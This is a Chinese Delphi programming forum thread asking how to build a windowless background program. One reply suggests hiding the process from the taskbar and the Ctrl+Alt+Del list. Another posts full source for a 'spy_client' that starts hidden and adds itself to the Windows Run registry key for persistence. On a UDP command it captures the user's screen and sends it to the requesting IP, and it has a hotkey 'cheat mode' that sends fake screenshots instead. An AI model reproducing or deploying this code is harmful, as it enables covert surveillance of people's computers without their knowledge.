怎样开发无窗体的程序(50分)

  • 主题发起人 主题发起人 nothingknown
  • 开始时间 开始时间
N

nothingknown

Unregistered / Unconfirmed
GUEST, unregistred user!
1 程序没有界面,在系统中执行,只能在(win2000)系统资源中看到;

2 要定时进行操作;
谁有方案,请指教:)
 
在dpr里不创建窗体,直接写代码就可以了,至于定时什么的,可以创建TTimeer类,或者读配置文件,想办法就是了
 
1.去掉任务栏的标题
2.去掉在ctrl+DEL+alt的列表项
3.在onIdle事件里执行代码
 
给你个代码,程序中是有窗体,但启动时不显示,需要时才显示,是别人的,如果你不
要窗体,改一下就可以了,但所有的都要手工写,比较累:)
程序中用到了一个第三方控件,你去掉就可以了
.dpr
program client;

uses
Forms,
Windows,
registry,
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
var
Once:THandle;
reg : TRegistry;
begin
Once:=CreateMutex(nil,false,'ClientBTDJ');
if WaitForSingleObject(Once,0)<>wait_timeout then
begin
Application.Initialize;
Application.ShowMainForm := false;//Registe a server program
Application.CreateForm(TForm1, Form1);
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('spy_client',application.ExeName);
reg.CloseKey;
reg.Free;
Application.Run;
end;
end.
////////////////////////
窗体
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, HotKeySpy, StdCtrls, Psock, NMSTRM, NMUDP, jpeg,
IniFiles, FileCtrl;

type
TForm1 = class(TForm)
HotKeySpy1: THotKeySpy;
Label1: TLabel;
udp: TNMUDP;
strm: TNMStrm;
Button1: TButton;
FileListBox1: TFileListBox;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure HotKeySpy1HotKeys0HotKey(Sender: TObject);
procedure udpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure Button1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure HotKeySpy1HotKeys1HotKey(Sender: TObject);
procedure HotKeySpy1HotKeys2HotKey(Sender: TObject);
private
{ Private declarations }
bCheat:Boolean;
bm:Integer;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
MyIniFile: TIniFile;
begin
//读取图片文件路径,win.ini的 ClientBmpPath 节的 Path 值
MyIniFile := TIniFile.Create('win.ini');
FileListBox1.Directory := MyIniFile.ReadString('ClientBmpPath','Path','c://Screen');
FileListBox1.Mask :='*.bmp';
FileListBox1.Refresh;
MyIniFile.Free;

bCheat:=false;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
try
GlobalDeleteAtom(GlobalFindAtom('spy_client_atom'));
except
//noop
end;
end;

procedure TForm1.HotKeySpy1HotKeys0HotKey(Sender: TObject);
begin
self.Show;
end;

procedure TForm1.udpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
var
buf : array[1..255] of char;
i : integer;
k : cardinal;
temp : string;
cav : TCanvas;
bmp : TBitmap;
jpg : TJpegImage;
mem : TMemoryStream;
PathBmp : String;

begin
//hawk begin 20020416
PathBmp := FileListBox1.Directory;
if ((Copy(PathBmp,Length(PathBmp)-1,1)<>'/') and (Length(PathBmp)>1)) then
PathBmp := PathBmp +'/';
//hawk end 20020416

if numberBytes>255 then exit; // buffer too large, deny.
udp.readBuffer(buf,i);

if buf[1]+buf[2]+buf[3] = 'who' then
begin
k := 255;
setLength(temp,k);
GetComputerName(pchar(temp),k);
setLength(temp,k);
for i:=1 to k do
buf[i+3] := temp;
buf[1] := 'i';
buf[2] := 'a';
buf[3] := 'm';
try
udp.RemoteHost := FromIp;
udp.RemotePort := port;
udp.SendBuffer(buf,k+3);
except
exit;
end;
exit;
end;

if buf[1]+buf[2]+buf[3]+buf[4] = 'show' then
begin
cav := TCanvas.Create;
bmp := TBitmap.Create;
jpg := TJpegImage.Create;
mem := TMemoryStream.Create;
try
try
if bCheat=false then
begin//Send the screen bitmap
cav.Handle := GetWindowDC(GetDesktopWindow());
bmp.Width := screen.Width;
bmp.Height := screen.Height;
bmp.Canvas.CopyRect(rect(0,0,screen.Width,screen.height),cav,rect(0,0,screen.Width,screen.Height));
end
else
begin
//hawk begin 20020416
bm := bm+1;
if bm>= FileListBox1.Items.Count then
bm := 0;
bmp.LoadFromFile(PathBmp + FileListBox1.Items.Strings[bm]);

//hawk end 20020416

//bm:=Random(11);
//bmp.LoadFromFile('c://Screen//screen'+IntToStr(bm)+'.bmp');
end;
jpg.Assign(bmp);
jpg.CompressionQuality := ord(buf[5]);
jpg.Compress;
jpg.SaveToStream(mem);
//get computer name
k := 255;
setLength(temp,k);
GetComputerName(pchar(temp),k);
setLength(temp,k);
//done
strm.FromName := temp;
strm.Host := FromIP;
strm.Port := 6667;
strm.PostIt(mem);
finally
cav.Free;
bmp.free;
jpg.Free;
mem.Free;
end;
except
exit;
end;
exit;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
self.Visible := false;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
halt;
end;

procedure TForm1.HotKeySpy1HotKeys1HotKey(Sender: TObject);
begin
bCheat:=true;
Caption:='作弊模式';
end;

procedure TForm1.HotKeySpy1HotKeys2HotKey(Sender: TObject);
begin
bCheat:=false;
Caption:='Spy Client';
end;

end.
 
可以把窗体的 visible设置为false
 
在project中去掉use ***。pas和form就可以了啊~
 
谢谢各位!!
分不多,

来分之!!
 
后退
顶部